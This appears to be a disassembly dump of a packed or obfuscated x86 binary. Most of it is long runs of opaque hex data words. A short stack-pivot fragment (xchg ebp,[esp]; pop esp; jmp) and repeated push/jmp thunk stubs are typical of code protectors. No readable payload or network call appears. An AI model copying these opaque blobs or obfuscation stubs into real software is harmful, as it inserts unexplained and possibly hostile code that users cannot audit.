		dd 0EB04AE77h, 6A6BFDB2h, 0C400E286h, 966DB326h, 61A00FE8h
		dd 82706187h, 0DA2E06FAh, 6FA821Bh, 4A95C6B5h, 189712BAh
		dd 946D98FFh, 0F60F9EEAh, 0C65CB34Ch, 0B347A11Ah, 0DEA84D8Fh
		dd 0EFACD055h, 79FA9E60h, 926F17EEh, 617D5E28h,	0E62ABEFFh
		dd 0F00CE865h, 7064EC8Dh, 0E6BA6276h, 0B7264AD8h, 11FB679Ah
		dd 0FA0EAF2Ah, 0F17595EEh, 0D487F548h, 9E17B945h, 0AAB5EDF1h
		dd 0B120B05Ch, 0F0555CFh, 0EF9D3DC0h, 23981792h, 5A77BE6h
		dd 1779FA77h, 0F474C86h, 31209DE0h, 46A946F0h, 0EECC17BFh
		dd 8F62597Eh, 10AEF5C3h, 48DC0000h, 0F107F98h, 0E3238E6Bh
		dd 0AD71D839h, 8483EE0Bh, 400239D6h, 815E0C1Bh,	0D12ED62Eh
		dd 0E603A37Eh, 37D07A8Bh, 9E5FB1EEh, 3800E287h,	946DC71Ah
		dd 0B10D9EEAh, 529AEE4Fh, 9C0CE88Dh, 6108B64Dh,	0EF8AF6A0h
		dd 0A43A9770h, 31AC54ACh, 5B2C648Ch, 4D8A0AFAh,	0DEC8BA3Bh
		dd 4629140Ah, 0C29F14C0h, 70650D7Bh, 0ADEC8h, 2D9FF35Fh
		dd 42DCD3C1h, 4Eh, 14F6FE7h, 532E5AFCh,	2E0967D4h, 36D7D6C2h
		dd 2C44F172h, 0CE8CF8Ch, 3F2A93EAh, 0AC54ACE2h,	0BCABD031h
		dd 6E6F8163h, 0C800E9CFh, 0EB7DF675h, 0E9CFECh,	0C16BBBA6h
		dd 523DB6B3h, 63CE2BD3h, 0CB70FC9Eh, 0A71CC45Ch, 0FEB77h
		dd 4F6F1200h, 0DF5AFC01h, 0EC36215Eh, 82E31276h, 0FE7D06FAh
		dd 0D69E0283h, 600CE281h, 0F463A01Dh, 7BF6822Eh, 0EC966FFAh
		dd 1EE36E13h, 0F075F07Ch, 9AE69091h, 0F24BAD31h, 0FA80E99Eh
		dd 0CB70CB0Ah, 0FC1DC55Ch, 9EEA946Dh, 0EE4FB10Dh, 0D884A29Ah
		dd 4691EC00h, 6AD6BF3Eh, 8D45531Fh, 0BF00000Fh,	0F35EBB69h
		dd 26D8A30h, 50BF5804h,	62CD2ACEh, 6518F9A5h, 812DFA61h
		dd 51F70960h, 22C459B0h, 0F39B6AC5h, 78908D16h,	0E28479h
		dd 94A63BD7h, 6FA8261h,	3885E7F7h, 826495FBh, 7BC206FAh
		dd 42BBDFAh, 0E0CE282h,	82838E2Fh, 0E6023FD8h, 0CFB32F13h
		dd 68077C6Ah, 0DD4CF199h, 30218241h, 0F13D44D1h, 0EA6B0672h
		dd 0BFB50982h, 0B3CEBA68h, 0DF4A8734h, 94D19F45h, 0CB41891Fh
		dd 428D0AF0h, 126F1DC1h, 2B3A4C97h, 6F1B64BFh, 0EFB41h
		dd 4DFB0900h, 1CC25DACh, 0EA966CC3h, 0BC60A20Dh, 8B37CC23h
		dd 44F3D76Eh, 9BF613BFh, 0AB06E389h, 0F45BB456h, 3364852Dh
		dd 85EBEA7Eh, 0A94500E2h, 0EA946D30h, 6383DD9Eh, 6FD0D04h
		dd 0B74E199Ah, 3A6D610Fh, 57887850h, 18E1D0F7h,	80000009h
		dd 50ED4F6Fh, 82FCFD13h, 0E35A06FAh, 0A52E0B79h, 3ABB8E0Eh
		dd 94696BFDh, 7AC10CE2h, 0DA53A7C1h, 4E5EA1EDh,	28F968D5h
		dd 0D4523D7Eh, 0FF52AB28h, 60F07C26h, 0E2A175h,	0C479DBE3h
		dd 0F0AE24ACh, 18CBB20Ah, 64BF0884h, 5D6F3935h,	6F00000Eh
		dd 0A30EEB99h, 0F25DBA60h, 6F8834h, 52BD5AFEh, 0B5C829D5h
		dd 0B15DAA91h, 8127F950h, 52F40960h, 23CB5AB5h,	88E05DC6h
		dd 0E28A49h, 6D96CBE7h,	0F9EEA94h, 2C204CF6h, 0B501000Fh
		dd 3947C26Ch, 0A48EC73Ch, 0F787DCCCh, 879ADD0h,	94540000h
		dd 6FA8261h, 3885E7F7h,	0E28162D0h, 0BC017C0Ch,	4DAA54ADh
		dd 0D7B23E2h, 5FDC409Eh, 0D8479701h, 0DC3FA149h, 0BFFC79EAh
		dd 0F0FCA129h, 874E2D0Ah, 64BF525Fh, 0D1EAB4B0h, 0E300000Dh
		dd 379A7725h, 46A946ECh, 94FB14C0h, 0A609E68Ah,	2154B561h
		dd 3DE93E1Dh, 0DB34DDCh, 0DE809DECh, 0AF57AE01h, 3C54C952h
		dd 0E28ABDh, 6D1A7F1Bh,	0C651EA94h, 90ED9B3Bh, 21E06913h
		dd 90070B79h, 738D9CBAh, 179148CDh, 78D0F787h, 7EBh, 0F04F6F19h
		dd 20AE5714h, 0FB40BF91h, 9EEA966Ch, 0B3D562E3h, 0CE25D0Ah
		dd 0D544F944h, 8C7C9C4Ch, 0B92236CDh, 82A657C1h, 88E000E2h
		dd 0E28249h, 4AC794E7h,	0E282B726h, 0AF2A1100h,	4EAAD730h
		dd 0F30F9234h, 0D6462351h, 58DD3C2Eh, 224EF809h, 0E205A752h
		dd 4BAD3100h, 0F79D67F2h, 9584C17Eh, 0DC99E789h, 0A09F167h
		dd 0F6450AF0h, 0BF69FD2Fh, 4125E64h, 0D08h, 0A13EEE3Ah
		dd 0F011B54Eh, 2DF8999h, 50B153AFh, 637C2AF9h, 0B271E6D8h
		dd 7C84EB04h, 49D43BD4h, 20E148A9h, 0B009976h, 0E28BF4E5h
		dd 2DB45200h, 8EF7946Dh, 5F8E264Ah, 5BB2BE3Dh, 705420CAh
		dd 9D0F63CFh, 0F2D0F761h, 727h,	9F3FC24Dh, 0D0BF4326h
		dd 0A729AA4Eh, 6FA8237h, 0BD1FBFh, 0E28204E8h, 922B120Ch
		dd 46D67C87h, 4D14425Ah, 3E7BF8C9h, 0CF28D253h,	8BF9A160h
		dd 0AAE3B0D0h, 62FAA262h, 93105C65h, 3784E8F6h,	0F0D961D1h
		dd 75B29D0Ah, 0B433DD25h, 0C81B623Fh, 64BF5936h, 613D0B47h
		dd 9300000Ch, 0A70AE795h, 0F659B65Ch, 46B8430h,	56B956FAh
		dd 0B1C425D1h, 0AD59AE8Dh, 7D23FD4Ch, 4EF00D9Ch, 1FC75EB1h
		dd 8CE459C2h, 0E28B4Dh,	6D8ACFEBh, 0F9EEA94h, 0B961A0F6h
		dd 4533AECBh, 22301A0Dh, 3B49EB37h, 5BAAC53Eh, 515356B3h
		dd 3ED0F78Bh, 15Fh, 0D4946DDBh,	0FA823DBCh, 25A09B06h
		dd 0EFC42457h, 290D87C4h, 0B26D6C84h, 70CB06FAh, 101170F5h
		dd 9A248966h, 27A24ADAh, 0B4B67296h, 0CDB00CE8h, 0AF9CFCBFh
		dd 91A05784h, 9ADC1D73h, 37A00E8h, 5C990F84h, 0C800E89Ah
		dd 66E79535h, 0DA88F4A0h, 66ED0169h, 0CBC75AC5h, 75149339h
		dd 0C28300AEh, 9F901068h, 3AF9D6E5h, 98000000h,	27F04F6Fh
		dd 65C3DF66h, 2048F570h, 0CE80FACh, 3F2A93EAh, 37323EE4h
		dd 33A6CEBEh, 0A700E855h, 5DCCB85Ah, 57501CC2h,	9518341Eh
		dd 0B23286ECh, 0DFD6E55Ch, 0A3h, 53D0BF7Ah, 0FA9E38BAh
		dd 0B7329587h, 1BBF40C9h, 0B948279Ch, 60BDAC11h, 25B7B2BEh
		dd 0D28DADF3h, 76067FFBh, 16621017h, 0B8C46EB7h, 0C926D051h
		dd 0FAA1F09Fh, 8931F006h, 59BB0368h, 171E8CE4h,	0E5580CE7h
		dd 8C3AC958h, 5B071C73h, 0A98C6C88h, 0F7C18D5Eh, 0B10h
		dd 0D936E622h, 0E809AD76h, 3AD78181h, 48A94BD7h, 9B7422E1h
		dd 0AA79DEE0h, 748CE3FCh, 41DC33CCh, 18E940A1h,	1308916Eh
		dd 0E289FCFDh, 25BC5A00h, 0FE8966Dh, 22D33572h,	0BC06FA82h
		dd 0AF57AEC1h, 0CCCA5B36h, 84E18F33h, 6D89E809h, 0DD9EEA94h
		dd 828948A0h, 542706FAh, 0C971B0DFh, 5197E28h, 6F1B0000h
		dd 1350ED4Fh, 11BB4BD6h, 0FA825687h, 88DF006h, 0E86D6880h
		dd 0A9D7A60Ch, 0E8971CD9h, 4F3B6C00h, 0E59E897Bh, 249E6D6h
		dd 0BF830000h, 690B1702h, 7F65E1Bh, 0A106FA82h,	5F759DAh
		dd 6D06FA82h, 9F11F251h, 387637A1h, 48C742E6h, 0F9B79DF3h
		dd 82BF0CE2h, 0E2FE6F6Eh, 1B72C900h, 5A176507h,	32F35EDFh
		dd 1006F88h, 10702B59h,	0E1C31E33h, 78158EB8h, 8018EE66h
		dd 0CCA9D783h, 0FE69D251h, 78F58323h, 0EA2ABEFBh, 0C40AF0BCh
		dd 7260AE79h, 0B5B164BFh, 0A13EBh, 35E32100h, 4AA75D4h
		dd 0D27E84EBh, 0A448DA35h, 731FE44Bh, 7CDBEF96h, 0B31EFBA7h
		dd 0C32ECB71h, 0EC439C3Eh, 0B8C6D15h, 8E03F216h, 815D00E2h
		dd 0EA946D58h, 4CF60F9Eh, 4B276020h, 4EA246DFh,	6FA828Fh
		dd 1662081Bh, 0BC3B025Bh, 2FAEC27Fh, 8906FA82h,	0A3D831B2h
		dd 5C0EA445h, 0E4618DB2h, 0F7D3A32Dh, 171CCD0h,	0A0AF0000h
		dd 2639BA5Eh, 9EEA946Dh, 0B34CF60Fh, 2FF0805Eh,	580FD8Bh
		dd 813E7BB8h, 0FA826E6Fh, 0E375C806h, 6FA82F2h,	0EC74F14Ch
		dd 0CE884D8h, 2AD0533Eh, 0F5A2235Eh, 0D641FA86h, 0B820A551h
		dd 0E88C3Dh, 9E61F04Dh,	74F18CF8h, 81035733h, 0EED6E589h
		dd 2Bh,	14F6F8Bh, 0C16BBB01h, 503BB6B3h, 11AA29D1h, 0E8A5E3FFh
		dd 3C48330Ch, 0E8AFA154h, 0C2A8D100h, 0E5A6FEEEh, 0D393D6h
		dd 0BF360000h, 82EFEE02h, 0F24906FAh, 670F1671h, 0C773B019h
		dd 29D150B9h, 0C0315794h, 1E06FA82h, 77D6A61Fh,	56EB04AEh
		dd 8206F719h, 31A006FAh, 3F3A46F0h, 0E2DD43C0h,	8606FA30h
		dd 44E63B7Fh, 0ECED0338h, 4A06FAD1h, 18F974F3h,	862AF463h
		dd 69067FFAh, 0D4AF355h, 0DA5B0302h, 0E776D476h, 0EAF8E0Ch
		dd 0B9560403h, 3AC9D156h, 18D92F8Ch, 0B600EF82h, 479948C7h
		dd 685EA9ACh, 8AAD2FCh,	4CD80000h, 13EC439Ch, 0E73F926Fh
		dd 0B14DDC3Dh, 889FF20Fh, 44063DDAh, 85621017h,	0D532DA2Ah
		dd 0EA07A77Ah, 3BD47E87h, 9A5BADE2h, 3400E28Fh,	21BFC316h
		dd 0B9009A70h, 0B0DF54B4h, 0C72AC773h, 0C67B943Eh, 58366F89h
		dd 9349E4FEh, 0FA93D001h, 960F6E06h, 0EA946DF3h, 3A83DD9Eh
		dd 31A6CA97h, 70B1D055h, 1BEA75C6h, 0EB680573h,	2A50012h
		dd 0BFC10000h, 0BC464ED0h, 92116C18h, 0F59F67E6h, 4E90FD76h
		dd 333F51EAh, 630CE281h, 0C8929F4h, 0C04FEC4Fh,	90ED9B3Fh
		dd 0DC196913h, 0AC00E283h, 5800000Fh, 93D4512Ch, 8AE1E3B7h
		dd 478ED6EFh, 2B000002h, 0FA826694h, 0B4EEF006h, 0FA829D5Ch
		dd 0FB403B06h, 0FA826495h, 0FC7BC206h, 0EFEE02BFh, 4906FA82h
		dd 0ACC471F2h, 0CE281B8h, 93FE3F3Eh, 0A00FE892h, 70618761h
		dd 0CE00E280h, 784F06Fh, 88E855B7h, 0CE8877E6h,	4BE86D89h
		dd 3EBFD10Eh, 9800E216h, 78B820A5h, 560AF0E8h, 1946B7D9h
		dd 80E00AD0h, 0BF3F4E87h, 62E15CDFh, 0BF9257B3h, 0C2EC9864h
		dd 784h, 25C272B6h, 749539CAh, 86630D15h, 0D435D72Bh, 0E700AE75h
		dd 36CD6A5Ch, 6F88h, 0CD50BF58h, 0A47DCC2Dh, 87841DFAh
		dd 0E28C7061h, 0A930CE00h, 0FC06946Dh, 3EAFDD58h, 9854D3E7h
		dd 0FA828170h, 0E15CDF06h, 2D5BD693h, 0A8583275h, 2B50B159h
		dd 313FE33Ch, 0D3A149D8h, 679A1B96h, 0D0F78B65h, 16D0Ah
		dd 946DAF00h, 0E358FC06h, 0FA824C8Dh, 1493EA06h, 7620E168h
		dd 27C75AC5h, 0DEE04DAEh, 1BAFC17Ah, 1B0CE884h,	0C90C5420h
		dd 0B900E88Dh, 30A1C704h, 8E00E88Dh, 157D36AFh,	4B5A9C7h
		dd 47F59A7Fh, 0B035DD24h, 0E5BB8F79h, 29E0D6h, 6F810000h
		dd 3850ED4Fh, 0CE8A5A4h, 95FD8BF2h, 0E8AF60h, 0AF036F10h
		dd 0D6E5A63Dh, 0B46C718Fh, 9165A14h, 0D6F28Ch, 6D970000h
		dd 0F9EEA94h, 66F14AF8h, 1D8CF89Ch, 512C5806h, 0A22B51D2h
		dd 5CCDBB63h, 63A01DC5h, 0FA82CC0Dh, 89136A06h,	0C3AA110Ah
		dd 4E55E89h, 0FA0C935Ch, 640E1706h, 3498268Bh, 0EB236187h
		dd 1E5B0CE7h, 0EFF90BCAh, 5DD6A500h, 0ECED0300h, 4A00EFF9h
		dd 58C774F3h, 0B39E1FCBh, 0AC4DC674h, 0BC05C65Dh, 8653742Dh
		dd 8D39B8D0h, 0A49700EFh, 0F57BAA29h, 0A65EA9BBh, 62E9CAAh
		dd 0C85C0000h, 8F90FF18h, 63A30EEBh, 2DF158B9h,	4036E8Bh
		dd 0C082B956h, 1DE8C9Bh, 51AE56AEh, 668323FEh, 0B750FA0Bh
		dd 1EDF316Eh, 0B800E292h, 0D0BF479Ah, 1BBD414Dh, 0BB48279Ch
		dd 821EDF31h, 0FBB806FAh, 0FA826495h, 0FC7BC206h, 0F8096081h
		dd 9D93ED4Eh, 9D1A27ABh, 7ADD3EB7h, 9EEA946Dh, 0EF4CF60Fh
		dd 829F5EB2h, 423906FAh, 0D61328C1h, 0FA8243B2h, 259E9D06h
		dd 1EF5h, 946D9C00h, 0F60F9EEAh, 5091204Ch, 71F70EFAh
		dd 0FA82DE1Fh, 86057806h, 21B969h, 6D580000h, 0F69EEA94h
		dd 6FA8202h, 16ACCC8Fh,	0A2BD8B2h, 0C270B7D6h, 0FE2A0041h
		dd 0ED8F9327h, 6D36916Eh, 0D9EEA94h, 9AEE4FB1h,	0CE281D2h
		dd 5F9C211Ch, 0C8931F0h, 1DFAA47Dh, 72CB73B2h, 0DB281B16h
		dd 3ABB5D0Eh, 0A305D932h, 0B272DD1Ah, 6007890Ah, 0A20AFAA0h
		dd 178D5F46h, 1293A1F6h, 630B1A45h, 0EF315815h,	0E671CA49h
		dd 0B627491Fh, 100ACA25h, 2C51AE2Dh, 6DFDC5CCh,	0E06535B8h
		dd 65D68081h, 5C8AA40Bh, 2CA9970Ah, 0F30C1B40h,	25B9D64Fh
		dd 1E167AC3h, 7800D8A7h, 0F36E18E9h, 0D6D95220h, 5967E36Ah
		dd 4ECh, 0BD5A0A1Eh, 0CC2DD152h, 1EFBA57Dh, 2CCD6FB3h
		dd 7F9846DDh, 0CE5502C4h, 9868C720h, 65B817F0h,	3CC524C5h
		dd 6F2C7592h, 0E293D819h, 1587600h, 0DEA946Dh, 0CDBB63A2h
		dd 0A557728Eh, 41D194EFh, 8C5CA5C4h, 0FA187564h, 0ED68D306h
		dd 0EA40C79Fh, 0A322E73Eh, 6D235386h, 0D4056BD0h, 7206FA70h
		dd 0B4738C0Bh, 0D0F77934h, 0E1879988h, 6F0A64h,	6FAF0000h
		dd 0C770F04Fh, 20AD7502h, 9413B549h, 148EEA27h,	0F8FBDE78h
		dd 6B8B1D96h, 430CE88Ch, 482543F8h, 0C18AF813h,	107FBC39h
		dd 0D482810Dh, 0F753CDA8h, 0CD19898Dh, 0BAAE4BC6h, 0E9943Dh
		dd 55B25CA5h, 0A69A27FAh, 0D4056BD9h, 7200E95Ch, 9535910Bh
		dd 67354AD2h, 0A8290BCDh, 0DF1C5F2Dh, 0E9F24889h, 0A34FD400h
		dd 0D80283FAh, 40Ch, 52D0BFB9h,	6917B74Ah, 86E3910Ch, 17A3620Dh
		dd 5A17650Fh, 34F35EDFh, 3C7F0D86h, 0B5D50DDCh,	5DD6A729h
		dd 0F24BF332h, 2FE49796h, 5CD93A3Ch, 9493FE83h,	66DF9AE6h
		dd 65BFB509h, 0D5B4B1BFh, 98D5A34Dh, 0BC48A01Dh, 5A0CE841h
		dd 0E39133CFh, 78F7976Ah, 91DF5EFBh, 0E85114C1h, 57336400h
		dd 0E5548103h, 43EED6h,	6F8B0000h, 0C150ED4Fh, 8CE99741h
		dd 8A46AA17h, 8C0CE8A5h, 0AF78798Fh, 67D600E8h,	1F49CE8h
		dd 7100E8AFh, 9E0E62C8h, 0F3D6E5A6h, 110h, 7341DD4Ch, 7D0BB1h
		dd 0C17AF785h, 0E8A32EAFh, 30B58800h, 0EA946D59h, 4AF80F9Eh
		dd 0AC56AF3Eh, 30B849C0h, 0FA8219D8h, 49C4B706h, 7EA7B8A8h
		dd 42C306FAh, 11107F98h, 23601B69h, 0FA870CCDh,	52D3AA06h
		dd 0F647A935h, 84F09A6Bh, 0B9CF6CE9h, 0CE89539h, 81709895h
		dd 0DF00E8B5h, 4CF20D5Ch, 75C64520h, 879B17EAh,	5FDA97E5h
		dd 0E8355411h, 0DF2CCD46h, 0C8209DFFh, 0AF5255Ch, 6AE13E1Ah
		dd 0CCAB7361h, 85E08C34h, 27328B06h, 0A8D532E0h, 76D4056Bh
		dd 7B10ADCh, 0F3D3B996h, 0D3502B70h, 10C36FB4h,	64BB2B18h
		dd 0C583ADD9h, 0F7000002h, 0B668331h, 5AB552F8h, 68C720CCh
		dd 0BA15F296h, 1D20C16Dh, 49F53229h, 19BF41A8h,	0EA8C91F8h
		dd 0BB63A20Dh, 2048C55Eh, 0E291B1h, 6DEE730Fh, 1653E896h
		dd 8246B7D9h, 9DE006FAh, 0FA82CA0Bh, 9C196406h,	6D15EC43h
		dd 9C241D0h, 0BB8C56F4h, 5ADB563Eh, 29BFFC81h, 6FA8BA8h
		dd 0DBBE3706h, 0FF014F6Fh, 0D34E2B59h, 0A5CA066Ah, 71CC0CE8h
		dd 0AF867303h, 0B5F600E8h, 3FB458AAh, 44441C76h, 25D6E5A6h
		dd 0E9h, 0EA946DCCh, 0B472DD9Eh, 0F7A16108h, 6614137Eh
		dd 31F6611Ah, 0C7980085h, 0E306FA7Eh, 0E9899422h, 0BF46D16Ah
		dd 1EE06917h, 0F4730E7Ah, 0F2339E7Fh, 0FAF3C48h, 10110ADh
		dd 0CC4C2957h, 766325D3h, 15A223D2h, 0E88703F3h, 0DA5DBB0Ch
		dd 25916A36h, 860CAC2Ch, 0A1E402B6h, 0EB047724h, 0FA863A56h
		dd 8840E628h, 7BE58236h, 0C94A4D9Dh, 7DBE22BCh,	0E86D1112h
		dd 0F202254Bh, 19640AF5h, 0C06EB5A4h, 0B13BC827h, 0DD039E5Fh
		dd 0C645380Ah, 0BC2DF31Fh, 9EA8A464h, 1A4h, 45A252D6h
		dd 947519EAh, 0A643ED35h, 0F415B74Bh, 7E08E95h,	16ED4A7Ch
		dd 0E0208F68h, 0AD70DF38h, 849DEC0Dh, 0A7E43DDAh, 0E2969041h
		dd 0C9102E00h, 4551D0BFh, 0D6814BAh, 0E87E28Eh,	45F6A463h
		dd 0D8A448DAh, 68C7189Dh, 6B10F199h, 0F97A26FCh, 0EA946D66h
		dd 4CF60F9Eh, 1DC55CB3h, 7EE2FC6Fh, 8D67AB3Dh, 0C6F0CE8h
		dd 240E4760h, 5F5BDA36h, 0E7C63A1Bh, 5802036Eh,	288C52BFh
		dd 0F4E57D93h, 4A310AFAh, 9256AF3Eh, 0DEFD7F7Eh, 9C8C1A0Ah
		dd 711CD226h, 0A6D2512Ch, 0EE331E1Fh, 0B49ED74Ch, 0B7046876h
		dd 0CC443951h, 50B8F500h, 14CD8DA1h, 0D02D3C3Fh, 0AE27422Eh
		dd 0F5A166F1h, 926FEA87h, 0D96D93EDh, 2A997D17h, 9F47DEA9h
		dd 5A578D1h, 4683B877h,	0CD5CB322h, 37330D14h, 0A84C97Bh
		dd 6021A221h, 5F071E0Ah, 2F912D82h, 6C94728Eh, 8DD6EE5Eh
		dd 0D945AB08h, 9D1EDF2Dh, 0AA7BD29Eh, 0A157400h, 71B11864h
		dd 0D050B9C7h, 0C1A99A28h, 4F3B6CADh, 12AB0DD1h, 11BD4AD5h
		dd 1B8D0663h, 14A15897h, 2E835CDFh, 798F2C90h, 12BE88E2h
		dd 0AA23512Ch, 0FB56B35Bh, 6CF4802Ah, 0DFF3BE1Bh, 8878D217h
		dd 0B30D179h, 6B3BBACEh, 0A6955FD3h, 1BC3422Dh,	7E22FC6Dh
		dd 96FC35F2h, 4AF39B6Ah, 199A48DFh, 0EE9869C0h,	0F9F8104Dh
		dd 575FD36Bh, 2450F808h, 64A3CA49h, 614F3DB6h, 24h, 2ED42F3Ah
		dd 0CBAE2742h, 684C21BFh, 0B47109F4h, 0A66A53Fh, 0A8D0ED2Eh
		dd 92F64772h, 6FA3963h,	62057EFDh, 9BE9976Dh, 3D4BF332h
		dd 0C3B151ACh, 6612BA4Ah, 67220E7h, 0A6D28087h,	4B39DB27h
		dd 0EC9844C2h, 70FCA27Dh, 0E689562Dh, 4C681h, 0EE830000h
		dd 24348704h, 6824248Bh, 4AEEh,	68240489h, 668Dh, 51243489h
		dd 18026FB9h, 0CD895506h, 595DE889h, 24348B54h,	5104C483h
		dd 8B9h, 89F10100h, 240C8B01h, 4C481h, 34FF0000h, 0C4835E24h
		dd 24048B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		db 9Ch,	48h, 0B8h
		dd 6181684h, 0E0FFC503h, 3EC89FFh, 10BF3FE9h, 56A4E5B1h
		dd 57A6F15Dh, 0E07DDEDh, 24F738D8h, 6DFCFB3Ah, 263D03A4h
		dd 558C9035h, 674A1AA2h, 4111D807h, 7622DC32h, 6E8h, 30697E00h
		dd 8183A7C7h, 694657E6h, 4FBE5907h, 810AB08Ah, 6649C1h
		dd 0FF86000h, 6861DFBFh, 1955h,	58C78B56h, 0AA7FB85Bh
		dd 31FF0144h, 0FEB70F60h, 11E9h, 88A98F00h, 899C3179h
		dd 6252799Bh, 8728E4A6h, 5F61B506h, 0E537BF60h,	0BF0F4651h
		dd 0EF8161F1h, 5D2AC54Dh, 0DBC28166h, 0F3F78141h, 603635F3h
		dd 8E9h, 515E1D00h, 4728A48Fh, 5A5BB8A1h, 81613A23h, 2391A3EFh
		dd 0D18B6648h, 8C0F3989h, 8, 2860Fh, 61600000h,	0E803E983h
		dd 0Bh,	37C6439Eh, 0BBA26105h, 668C6E94h, 0F3EEF081h, 0C6814958h
		dd 36AB4362h, 0F01EB83h, 2385h,	4880F00h, 66000000h, 0E9C89DBEh
		dd 2Eh,	2657CDD6h, 18956751h, 0A309E648h, 52F717BCh, 3C52BB60h
		dd 0E9B4C280h, 0FFFFFF46h, 0E3CA79E3h, 0BEB6024Ch, 0F7A041Fh
		dd 0EB6E8D06h, 0A6E95387h, 29000000h, 47647E18h, 0F3BAF5CCh
		dd 0D666D138h, 979FABAFh, 0E37C4DB2h, 720095B7h, 0B5E9A9E5h
		dd 609BB69Ch, 0A9B6F377h, 609EB794h, 897D60D7h,	8C9EA9BDh
		dd 0E3729EBDh, 204A95ACh, 7E9BB98Bh, 0B99D8993h, 96AFF496h
		dd 0B594A19Eh, 0FD91A7D6h, 0CC48D100h, 3C33594Ah, 4D520071h
		dd 5EF357DBh, 0BBEFB600h, 0BD899Dh, 0B69F8995h,	97BBEFh
		dd 0C3B1B6D0h, 527155h,	0C20DA437h, 0E0910D3h, 0Ah dup(0)
		dd 0FF0E900h, 0C6680000h, 0E906181Ah, 0FFFA6794h, 181BE168h
		dd 678AE906h, 0B468FFFAh, 0E906181Ch, 0FFFA6780h, 181DF768h
		dd 6776E906h, 6C68FFFAh, 0E906181Eh, 0FFFA676Ch, 181F1E68h
		dd 6762E906h, 0C768FFFAh, 0E906181Fh, 0FFFA6758h, 18205368h
		dd 674EE906h, 0FD68FFFAh, 0E9061820h, 0FFFA6744h, 18219E68h
		dd 673AE906h, 7F68FFFAh, 0E9061822h, 0FFFA6730h, 1823A568h
		dd 6726E906h, 1868FFFAh, 0E9061826h, 0FFFA671Ch, 18271868h
		dd 6712E906h, 0F80CFFFAh, 0BF40AF48h, 9393FE1Bh, 5DA108E9h
		dd 34F35EBBh, 0F0D26986h, 0F10EBC4Bh, 1DE869Eh,	56B353AEh
		dd 67802AFBh, 0EEEF013Eh, 4800E29Bh, 0D0BF37AAh, 9EDBA951h
		dd 13BB4A25h, 0EADA3665h, 7A2E84A3h, 0CF6FB2DDh, 0ACEA3B56h
		dd 82739557h, 0DC06FA87h, 3796E261h, 4CCB46ECh,	1C805EB3h
		dd 0CF0E629Fh, 6906FA87h, 0CC249112h, 0CE88138h, 21313F3Eh
		dd 0E896B4h, 0E3B793C4h, 0D6E593E1h, 4C8Eh, 2BF2B00h, 0FA82EFEEh
		dd 71F24906h, 0D566CA14h, 0E8A55FB3h, 0D63A770Ch, 0E8AC27h
		dd 25D15681h, 209F1A57h, 0ACC90C54h, 0F0B900E8h, 0A5C6C69Ah
		dd 1A76D6E5h, 9070C1CEh, 0F41822E1h, 0CAE22FAAh, 3CE43C4Fh
		dd 0DEB03530h, 0E1h, 0EA946D7Bh, 4AF80F9Eh, 0AC56AF3Eh
		dd 0EB849C0h, 7EE967F1h, 0A1B06FAh, 154B025Eh, 0C68119FBh
		dd 0FAC89F5Eh, 53AE3906h, 2DA8C5B3h, 27FE51AEh,	0F8817962h
		dd 75198327h, 9034CEE1h, 920A89E4h, 0FACCE02h, 412FAAA7h
		dd 2B90F4CAh, 3341E13Ch, 0E800BD36h, 0CE8A258h,	51FB0B56h
		dd 2ECB4623h, 229BFDC1h, 3642F037h, 0A3662326h,	9D186A7Bh
		dd 1A759B18h, 3C0AF516h, 29BFFC41h, 0ADC67A8h, 1BE3706h
		dd 84651116h, 0E130DE25h, 64BB9C0Dh, 4094A2AEh,	0AB00000Dh
		dd 0FF52AF5Dh, 0E617E24h, 5CB34CF8h, 6EC11EC2h,	690CED99h
		dd 7521E655h, 45EB3594h, 16B845A4h, 0E78F96F9h,	749C910Ah
		dd 0E29885h, 6DD20723h,	52FE0496h, 6FCC4B26h, 0E7A1EE0h
		dd 0B619F273h, 152AC76Fh, 0D055F90Ah, 51D0BFB9h, 0FDFC14A9h
		dd 5B06FA82h, 0B80663E0h, 4D81E754h, 490CE8A5h,	0E40C49F2h
		dd 0E8ACF5h, 8081E853h,	472F5DD6h, 0E8AC92h, 0FDD5BDE2h
		dd 0D6E5A5F3h, 0E29Ch, 4EA2DF00h, 0E8A08Fh, 0BED15229h
		dd 0A951D0BFh, 1AC45D2Ch, 7A28FF6Eh, 26CE56C1h,	0D6A61F5Ah
		dd 0FA7ED08Eh, 8931F006h, 0BB44D368h, 970C6917h, 0F38129F8h
		dd 59E24698h, 0E88B7737h, 0F30C6F0Ch, 5FDC409Eh, 0FF8D2DF0h
		dd 6EED996Eh, 1C0B48F5h, 99DF4302h, 0EB9C3E91h,	38B9CF6Ch
		dd 9600E8E5h, 0F6BA2EA7h, 0C00AF541h, 82A0C07Dh, 9C42DDE6h
		dd 5F0B95D0h, 691110D4h, 62E35E1Bh, 355B98D5h, 0ADD1FC4h
		dd 0CF9A1B62h, 26D8A38h, 2A8E5905h, 0CB64BC54h,	0C25B19Fh
		dd 788C0000h, 3FC02FC8h, 13137E9Bh, 0DD218869h,	0B473DE3Bh
		dd 7052E906h, 718E3CCBh, 815E061Eh, 0D633D32Eh,	0E700AA7Bh
		dd 6E6F81BEh, 0C800E299h, 966DB72Ah, 3BC453E8h,	178CE997h
		dd 552F49F6h, 0DAAC1F75h, 64BDCC49h, 6DFA5DBAh,	0F9EEA94h
		dd 0BD5DA0F6h, 0DA37B2CFh, 7705AF77h, 8A670F16h, 59656630h
		dd 0FE2246F7h, 0F80CE880h, 787CE485h, 0EEBA6293h, 0B9CF6CD0h
		dd 0F174BE2Dh, 1E09B289h, 59146004h, 0A33B90DCh, 0D0BFFC41h
		dd 16C0414Dh, 1390ED9Bh, 46692C8Dh, 43DF0A0Fh, 1B96D3A1h
		dd 29FA65A2h, 68E21385h, 17C0F39h, 632BE19Fh, 1390D4E3h
		dd 2C6ABBA6h, 225F2DD5h, 1EE74AA7h, 0A2B7264Ah,	2A110F39h
		dd 0D75664AFh, 4B076257h, 0B527Dh, 9D4BD900h, 6C12ED7Ch
		dd 3AE63C93h, 0CB072DDh, 0DB879CF3h, 1443073Eh,	2B86630Fh
		dd 7BD633D9h, 84EB04A6h, 0E334D57Dh, 9E9B5AAEh,	193500E2h
		dd 0EA946DC0h, 4FB10D9Eh, 8D529AEEh, 0A19C0CE8h, 71D3EB40h
		dd 5B6CA4CCh, 0BF2A0AFAh, 37BBA768h, 9535C75h, 0E883FE8Ah
